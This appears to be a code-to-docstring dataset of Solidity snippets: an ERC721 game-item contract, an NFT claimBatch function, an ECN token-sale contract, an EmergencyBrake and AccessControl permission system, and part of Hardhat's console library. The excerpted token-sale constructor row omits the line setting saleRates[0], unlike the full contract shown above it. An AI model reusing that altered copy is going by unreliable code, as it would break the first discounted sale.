//ERC721: 아이템의 개수를 가져옵니다.
function balanceOf(address owner) view public returns (uint) {
return ownerToItemIds[owner].length;
}
//ERC721: Gets the wallet address of the item owner.
//ERC721: 아이템 소유주의 지갑 주소를 가져옵니다.
function ownerOf(uint itemId) view public returns (address) {
return itemIdToOwner[itemId];
}
//ERC721: If a smart contract is the receiver of the item, executes the function onERC721Received.
//ERC721: 아이템을 받는 대상이 스마트 계약인 경우, onERC721Received 함수를 실행합니다.
function safeTransferFrom(address from, address to, uint itemId, bytes memory data) public {
transferFrom(from, to, itemId);
// Checks if the given address is a smart contract.
// 주어진 주소가 스마트 계약인지 확인합니다.
uint32 size;
assembly { size := extcodesize(to) }
if (size > 0) {
// ERC721TokenReceiver
require(ERC721TokenReceiver(to).onERC721Received(msg.sender, from, itemId, data) == 0x150b7a02);
}
}
//ERC721: If a smart contract is the receiver of the item, executes the function onERC721Received.
//ERC721: 아이템을 받는 대상이 스마트 계약인 경우, onERC721Received 함수를 실행합니다.
function safeTransferFrom(address from, address to, uint itemId) external {
safeTransferFrom(from, to, itemId, "");
}
//ERC721: Transfers the item.
//ERC721: 아이템을 이전합니다.
function transferFrom(address from, address to, uint itemId) onlyApprovedOf(itemId) public {
require(from == ownerOf(itemId));
require(to != ownerOf(itemId));
// Delete trading rights.
// 거래 권한 제거
delete itemIdToApproved[itemId];
emit Approval(from, address(0), itemId);
// Deletes the item from the original owner.
// 기존 소유주로부터 아이템 제거
uint index = itemIdToItemIdsIndex[itemId];
uint lastIndex = balanceOf(from).sub(1);
uint lastItemId = ownerToItemIds[from][lastIndex];
ownerToItemIds[from][index] = lastItemId;
delete ownerToItemIds[from][lastIndex];
ownerToItemIds[from].length -= 1;
itemIdToItemIdsIndex[lastItemId] = index;
// Transfers the item.
// 아이템 이전
itemIdToOwner[itemId] = to;
itemIdToItemIdsIndex[itemId] = ownerToItemIds[to].push(itemId).sub(1);
emit Transfer(from, to, itemId);
}
//ERC721: Approves trading to a given contract.
//ERC721: 특정 계약에 거래 권한을 부여합니다.
function approve(address approved, uint itemId) onlyOwnerOf(itemId) external {
address owner = ownerOf(itemId);
require(approved != owner);
itemIdToApproved[itemId] = approved;
emit Approval(owner, approved, itemId);
}
//ERC721: Approves or disapproves trading rights to the operator.
//ERC721: 오퍼레이터에게 거래 권한을 부여하거나 뺏습니다.
function setApprovalForAll(address operator, bool isApproved) external {
require(operator != msg.sender);
if (isApproved == true) {
ownerToOperatorToIsApprovedForAll[msg.sender][operator] = true;
} else {
delete ownerToOperatorToIsApprovedForAll[msg.sender][operator];
}
emit ApprovalForAll(msg.sender, operator, isApproved);
}
//ERC721: Gets the approved wallet address.
//ERC721: 아이템 거래 권한이 승인된 지갑 주소를 가져옵니다.
function getApproved(uint itemId) public view returns (address) {
return itemIdToApproved[itemId];
}
//ERC721: 오퍼레이터가 모든 토큰에 대한 거래 권한을 가지고 있는지 확인합니다.
function isApprovedForAll(address owner, address operator) view public returns (bool) {
return ownerToOperatorToIsApprovedForAll[owner][operator] == true ||
// Delight와 DPlay 교역소는 모든 토큰을 전송할 수 있습니다.
msg.sender == delightItemManager ||
msg.sender == dplayTradingPost;
}
// Returns the number of items.
// 아이템의 개수를 반환합니다.
function getItemCount() public view returns (uint) {
return items.length;
}
// Returns the information of an item.
// 아이템의 정보를 반환합니다.
function getItemInfo(uint itemId) external view returns (
uint hp,
uint damage,
uint buffHP,
uint buffDamage
) {
KnightItem memory item = items[itemId];
return (
item.hp,
item.damage,
item.buffHP,
item.buffDamage
);
}
// Returns the HP given to the knight of the item.
// 아이템의 기사에게 부여하는 HP를 반환합니다.
function getItemHP(uint itemId) external view returns (uint) {
return items[itemId].hp;
}
// Returns the damage given to the knight of the item.
// 아이템의 기사에게 부여하는 데미지를 반환합니다.
function getItemDamage(uint itemId) external view returns (uint) {
return items[itemId].damage;
}
// Returns the buff HP of an item.
// 아이템의 버프 HP를 반환합니다.
function getItemBuffHP(uint itemId) external view returns (uint) {
return items[itemId].buffHP;
}
// Returns the buff damage of an item.
// 아이템의 버프 데미지를 반환합니다.
function getItemBuffDamage(uint itemId) external view returns (uint) {
return items[itemId].buffDamage;
}
// Gets the knight IDs of the owner.
// 소유주의 기사 ID들을 가져옵니다.
function getOwnerItemIds(address owner) external view returns (uint[] memory) {
uint itemCount = 0;
for (uint i = 0; i < getItemCount(); i += 1) {
if (ownerOf(i) == owner) {
itemCount += 1;
}
}
uint[] memory itemIds = new uint[](itemCount);
uint j = 0;
for (uint i = 0; i < getItemCount(); i += 1) {
if (ownerOf(i) == owner) {
itemIds[j] = i;
j += 1;
}
}
return itemIds;
}
}
| Returns the HP given to the knight of the item. 아이템의 기사에게 부여하는 HP를 반환합니다. | function getItemHP(uint itemId) external view returns (uint) {
return items[itemId].hp;
}
| 5,381,231 |
./full_match/5/0x05626cb540A481406D4aeBD7df4C8d3b28eE81aa/sources/contracts/ERC721IA.sol | Update contract state. If there's a price, collect price. Mint the relevant NFTs to claimer. _removeFromQueue(id); | function claimBatch(
address _receiver,
ClaimData[] calldata _claimData,
address _currency,
uint256 _pricePerToken,
AllowlistProof calldata _allowlistProof
) public payable virtual {
bytes32 activeConditionId = conditionId;
verifyClaims(
_dropMsgSender(),
1,
_currency,
_pricePerToken,
_allowlistProof
);
claimCondition.supplyClaimed += _claimData.length;
supplyClaimedByWallet[activeConditionId][_dropMsgSender()] += _claimData
.length;
_collectPriceOnClaim(
address(0),
_claimData.length,
_allowlistProof.quantityLimitPerWallet,
_currency,
_pricePerToken
);
for (uint256 i = 0; i < _claimData.length; i++) {
uint256 id = nextTokenIdToClaim(_claimData[i]);
_transferTokensOnClaim(_receiver, id, 1);
emit TokensClaimed(_dropMsgSender(), _receiver, id, 1);
}
}
| 1,889,019 |
pragma solidity ^0.4.15;
import './SafeMath.sol';
import './Ownable.sol';
import './TokenHolder.sol';
import './EcnToken.sol';
/// @title Ecn token sale contract.
contract EcnTokenSaleMulti is Ownable, TokenHolder {
using SafeMath for uint256;
// ECN token contract.
EcnToken public ecn;
// Received funds are forwarded to this address.
address public fundingRecipient;
// Using same decimal value as ETH (makes ETH-ECN conversion much easier).
// This is the same as in Ecn token contract.
uint256 public constant TOKEN_UNIT = 10 ** 18;
// Maximum number of tokens in circulation: 10 trillion.
uint256 public constant MAX_TOKENS = 10 ** 9 * TOKEN_UNIT;
uint256 public constant MAX_TOKENS_SOLD = 430000000*TOKEN_UNIT;
// ECN to 1 wei ratio.
uint256 public constant ECN_PER_WEI = 40000;
// Sale start and end timestamps.
uint256 public constant SALE_DURATION = 90 days;
uint256 public endTime;
// Amount of tokens sold until now in the sale.
uint256 public tokensSold = 0;
// delay sale
struct Grant {
address user;//address of user
uint256 value;//coins of user buying
uint timeAvail;// time of translating to user account
}
uint grantIndex;
uint constant MAX_NUM_OF_SALEITEM = 100;
Grant[100] saleItem;
uint[3] saleRates;
uint[3] saleDelays;
event TokensIssued(address indexed _to, uint256 _tokens);
event TokenSaleDelay(address _to, uint256 _token, uint256 _avail);
/// @dev Reverts if called when not during sale.
modifier onlyDuringSale() {
require(now <= endTime);
_;
}
/// @dev Constructor that initializes the sale conditions.
/// @param _fundingRecipient address The address of the funding recipient.
/// @param _ecnToken address of the existed ecnToken .
function EcnTokenSaleMulti(address _fundingRecipient, address _ecnToken) {
require(_fundingRecipient!=0 && _ecnToken!=0);
fundingRecipient = _fundingRecipient;
ecn = EcnToken(_ecnToken);
endTime = now + SALE_DURATION;
for(uint i = 0; i < MAX_NUM_OF_SALEITEM; i ++){
saleItem[i].value = 0;
}
saleRates[0] = 80;//pencents of ECN_PER_WEI
saleRates[1] = 60;
saleRates[2] = 50;
saleDelays[0] = 15 days;
saleDelays[1] = 30 days;
saleDelays[2] = 60 days;
}
/// @dev get token can be saled.
/// @return uint256 tokens.
//function checkTokenCanSaled() constant returns (uint256){
function tokenLeftInSale() constant returns (uint256){
uint256 restToken = ecn.balanceOf(fundingRecipient);
uint256 allowToken = SafeMath.min256(restToken, ecn.allowance(owner, this));
uint256 tokenLeft = SafeMath.min256(allowToken, MAX_TOKENS_SOLD.sub(tokensSold));
return tokenLeft;
}
/// @dev receive wei and caculate token saled.
/// @return tokens will be transfered.
function receiveWei(address _buyer, uint256 _value, uint _rate) private returns (uint256){
uint256 tokenLeft = tokenLeftInSale();
uint256 weiLeftInSale = tokenLeft.div(_rate);
// Accept funds and transfer to funding recipient.
uint256 weiToParticipate = SafeMath.min256(_value, weiLeftInSale);
fundingRecipient.transfer(weiToParticipate);
// Partial refund if full participation not possible
// e.g. due to cap being reached.
uint256 refund = _value.sub(weiToParticipate);
if (refund > 0) {
_buyer.transfer(refund);
}
// Issue tokens and transfer to recipient.
uint256 tokensToIssue = weiToParticipate.mul(_rate);
return tokensToIssue;
}
/// @dev Fallback function that will delegate the request to saleToken().
function saleToken() external payable onlyDuringSale {
//Check wei received
require(msg.value > 0);
uint256 tokensToIssue = receiveWei(msg.sender, msg.value, ECN_PER_WEI);
ecn.transferFrom(owner, msg.sender, tokensToIssue);
TokensIssued(msg.sender, tokensToIssue);
}
/// @dev saling tokens at discount 1
function saleTokenDelay1() external payable onlyDuringSale{
saleTokenDelay(msg.sender, msg.value, 0);
}
/// @dev saling tokens at discount 2
function saleTokenDelay2() external payable onlyDuringSale{
saleTokenDelay(msg.sender, msg.value, 1);
}
/// @dev saling tokens at discount 3
function saleTokenDelay3() external payable onlyDuringSale{
saleTokenDelay(msg.sender, msg.value, 2);
}
/// @dev saling tokens at discount
/// @param buyer the address of buyer .
/// @param value weis receive from buyer.
/// @param delayPeriod which discount to be used, form 0 to 2.
function saleTokenDelay(address buyer, uint256 value, uint delayPeriod) private {
//check wei received and tokens left
require(value > 10**16);//0.01eth min
uint rateBuying = ECN_PER_WEI * 100 / saleRates[delayPeriod];
//find a blank item
uint blankIndex = MAX_NUM_OF_SALEITEM;
for(uint i = 0; i < MAX_NUM_OF_SALEITEM; i ++){
if(0 == saleItem[i].value){
blankIndex = i;
break;
}
}
require(blankIndex < MAX_NUM_OF_SALEITEM);
uint256 tokensToIssue = receiveWei(buyer, value, rateBuying);
saleItem[blankIndex].user = buyer;
saleItem[blankIndex].value = tokensToIssue;
saleItem[blankIndex].timeAvail = now + saleDelays[delayPeriod];
TokenSaleDelay(buyer, tokensToIssue, saleItem[blankIndex].timeAvail);
}
/// @dev get tokens can be withdrawed.
/// @return tokens can be withdrawed for current buyer.
function checkAvailTokens() constant returns (uint256){
uint256 totalTokens = 0;
for(uint i = 0; i < MAX_NUM_OF_SALEITEM; i ++){
if(saleItem[i].value > 0 && now > saleItem[i].timeAvail && saleItem[i].user == msg.sender){
totalTokens = totalTokens.add(saleItem[i].value);
}
}
return totalTokens;
}
/// @dev buyer withdraw tokens to their account.
function withdrawAvailTokens() external{
uint256 restToken = ecn.allowance(owner, this);
uint256 totalTokens = 0;
for(uint i = 0; i < MAX_NUM_OF_SALEITEM; i++){
if(saleItem[i].value > 0 && now > saleItem[i].timeAvail && saleItem[i].user == msg.sender){
if(totalTokens.add(saleItem[i].value) < restToken){
totalTokens = totalTokens.add(saleItem[i].value);
saleItem[i].value = 0;
}
else
break;
}
}
if(totalTokens > 0){
ecn.transferFrom(owner, msg.sender, totalTokens);
}
}
} | Constructor that initializes the sale conditions. _fundingRecipient address The address of the funding recipient. _ecnToken address of the existed ecnToken . | function EcnTokenSaleMulti(address _fundingRecipient, address _ecnToken) {
require(_fundingRecipient!=0 && _ecnToken!=0);
fundingRecipient = _fundingRecipient;
ecn = EcnToken(_ecnToken);
endTime = now + SALE_DURATION;
for(uint i = 0; i < MAX_NUM_OF_SALEITEM; i ++){
saleItem[i].value = 0;
}
saleRates[1] = 60;
saleRates[2] = 50;
saleDelays[0] = 15 days;
saleDelays[1] = 30 days;
saleDelays[2] = 60 days;
}
| 915,079 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
interface IEmergencyBrake {
struct Permission {
address contact;
bytes4[] signatures;
}
function plan(address target, Permission[] calldata permissions) external returns (bytes32 txHash);
function cancel(bytes32 txHash) external;
function execute(bytes32 txHash) external;
function restore(bytes32 txHash) external;
function terminate(bytes32 txHash) external;
}
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a target
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
/// In addition, there is a separation of concerns between the planner and the executor accounts, so that both of them
/// must be compromised simultaneously to execute non-approved emergency plans, and then only creating a denial of service.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
enum State {UNPLANNED, PLANNED, EXECUTED}
struct Plan {
State state;
address target;
bytes permissions;
}
event Planned(bytes32 indexed txHash, address indexed target);
event Cancelled(bytes32 indexed txHash);
event Executed(bytes32 indexed txHash, address indexed target);
event Restored(bytes32 indexed txHash, address indexed target);
event Terminated(bytes32 indexed txHash);
mapping (bytes32 => Plan) public plans;
constructor(address planner, address executor) AccessControl() {
_grantRole(IEmergencyBrake.plan.selector, planner);
_grantRole(IEmergencyBrake.cancel.selector, planner);
_grantRole(IEmergencyBrake.execute.selector, executor);
_grantRole(IEmergencyBrake.restore.selector, planner);
_grantRole(IEmergencyBrake.terminate.selector, planner);
// Granting roles (plan, cancel, execute, restore, terminate) is reserved to ROOT
}
/// @dev Compute the hash of a plan
function hash(address target, Permission[] calldata permissions)
external pure
returns (bytes32 txHash)
{
txHash = keccak256(abi.encode(target, permissions));
}
/// @dev Register an access removal transaction
function plan(address target, Permission[] calldata permissions)
external override auth
returns (bytes32 txHash)
{
txHash = keccak256(abi.encode(target, permissions));
require(plans[txHash].state == State.UNPLANNED, "Emergency already planned for.");
// Removing or granting ROOT permissions is out of bounds for EmergencyBrake
for (uint256 i = 0; i < permissions.length; i++){
for (uint256 j = 0; j < permissions[i].signatures.length; j++){
require(
permissions[i].signatures[j] != ROOT,
"Can't remove ROOT"
);
}
}
plans[txHash] = Plan({
state: State.PLANNED,
target: target,
permissions: abi.encode(permissions)
});
emit Planned(txHash, target);
}
/// @dev Erase a planned access removal transaction
function cancel(bytes32 txHash)
external override auth
{
require(plans[txHash].state == State.PLANNED, "Emergency not planned for.");
delete plans[txHash];
emit Cancelled(txHash);
}
/// @dev Execute an access removal transaction
function execute(bytes32 txHash)
external override auth
{
Plan memory plan_ = plans[txHash];
require(plan_.state == State.PLANNED, "Emergency not planned for.");
plans[txHash].state = State.EXECUTED;
Permission[] memory permissions_ = abi.decode(plan_.permissions, (Permission[]));
for (uint256 i = 0; i < permissions_.length; i++){
// AccessControl.sol doesn't revert if revoking permissions that haven't been granted
// If we don't check, planner and executor can collude to gain access to contacts
Permission memory permission_ = permissions_[i];
for (uint256 j = 0; j < permission_.signatures.length; j++){
AccessControl contact = AccessControl(permission_.contact);
bytes4 signature_ = permission_.signatures[j];
require(
contact.hasRole(signature_, plan_.target),
"Permission not found"
);
contact.revokeRole(signature_, plan_.target);
}
}
emit Executed(txHash, plan_.target);
}
/// @dev Restore the orchestration from an isolated target
function restore(bytes32 txHash)
external override auth
{
Plan memory plan_ = plans[txHash];
require(plan_.state == State.EXECUTED, "Emergency plan not executed.");
plans[txHash].state = State.PLANNED;
Permission[] memory permissions_ = abi.decode(plan_.permissions, (Permission[]));
for (uint256 i = 0; i < permissions_.length; i++){
Permission memory permission_ = permissions_[i];
for (uint256 j = 0; j < permission_.signatures.length; j++){
AccessControl contact = AccessControl(permission_.contact);
bytes4 signature_ = permission_.signatures[j];
contact.grantRole(signature_, plan_.target);
}
}
emit Restored(txHash, plan_.target);
}
/// @dev Remove the restoring option from an isolated target
function terminate(bytes32 txHash)
external override auth
{
require(plans[txHash].state == State.EXECUTED, "Emergency plan not executed.");
delete plans[txHash];
emit Terminated(txHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes4` identifier. These are expected to be the
* signatures for all the functions in the contract. Special roles should be exposed
* in the external API and be unique:
*
* ```
* bytes4 public constant ROOT = 0x00000000;
* ```
*
* Roles represent restricted access to a function call. For that purpose, use {auth}:
*
* ```
* function foo() public auth {
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `ROOT`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {setRoleAdmin}.
*
* WARNING: The `ROOT` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
contract AccessControl {
struct RoleData {
mapping (address => bool) members;
bytes4 adminRole;
}
mapping (bytes4 => RoleData) private _roles;
bytes4 public constant ROOT = 0x00000000;
bytes4 public constant ROOT4146650865 = 0x00000000; // Collision protection for ROOT, test with ROOT12007226833()
bytes4 public constant LOCK = 0xFFFFFFFF; // Used to disable further permissioning of a function
bytes4 public constant LOCK8605463013 = 0xFFFFFFFF; // Collision protection for LOCK, test with LOCK10462387368()
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role
*
* `ROOT` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call.
*/
event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender);
/**
* @dev Give msg.sender the ROOT role and create a LOCK role with itself as the admin role and no members.
* Calling setRoleAdmin(msg.sig, LOCK) means no one can grant that msg.sig role anymore.
*/
constructor () {
_grantRole(ROOT, msg.sender); // Grant ROOT to msg.sender
_setRoleAdmin(LOCK, LOCK); // Create the LOCK role by setting itself as its own admin, creating an independent role tree
}
/**
* @dev Each function in the contract has its own role, identified by their msg.sig signature.
* ROOT can give and remove access to each function, lock any further access being granted to
* a specific action, or even create other roles to delegate admin control over a function.
*/
modifier auth() {
require (_hasRole(msg.sig, msg.sender), "Access denied");
_;
}
/**
* @dev Allow only if the caller has been granted the admin role of `role`.
*/
modifier admin(bytes4 role) {
require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin");
_;
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes4 role, address account) external view returns (bool) {
return _hasRole(role, account);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes4 role) external view returns (bytes4) {
return _getRoleAdmin(role);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
* If ``role``'s admin role is not `adminRole` emits a {RoleAdminChanged} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) {
_setRoleAdmin(role, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes4 role, address account) external virtual admin(role) {
_grantRole(role, account);
}
/**
* @dev Grants all of `role` in `roles` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - For each `role` in `roles`, the caller must have ``role``'s admin role.
*/
function grantRoles(bytes4[] memory roles, address account) external virtual {
for (uint256 i = 0; i < roles.length; i++) {
require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin");
_grantRole(roles[i], account);
}
}
/**
* @dev Sets LOCK as ``role``'s admin role. LOCK has no members, so this disables admin management of ``role``.
* Emits a {RoleAdminChanged} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function lockRole(bytes4 role) external virtual admin(role) {
_setRoleAdmin(role, LOCK);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes4 role, address account) external virtual admin(role) {
_revokeRole(role, account);
}
/**
* @dev Revokes all of `role` in `roles` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - For each `role` in `roles`, the caller must have ``role``'s admin role.
*/
function revokeRoles(bytes4[] memory roles, address account) external virtual {
for (uint256 i = 0; i < roles.length; i++) {
require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin");
_revokeRole(roles[i], account);
}
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes4 role, address account) external virtual {
require(account == msg.sender, "Renounce only for self");
_revokeRole(role, account);
}
function _hasRole(bytes4 role, address account) internal view returns (bool) {
return _roles[role].members[account];
}
function _getRoleAdmin(bytes4 role) internal view returns (bytes4) {
return _roles[role].adminRole;
}
function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual {
if (_getRoleAdmin(role) != adminRole) {
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, adminRole);
}
}
function _grantRole(bytes4 role, address account) internal {
if (!_hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, msg.sender);
}
}
function _revokeRole(bytes4 role, address account) internal {
if (_hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, msg.sender);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
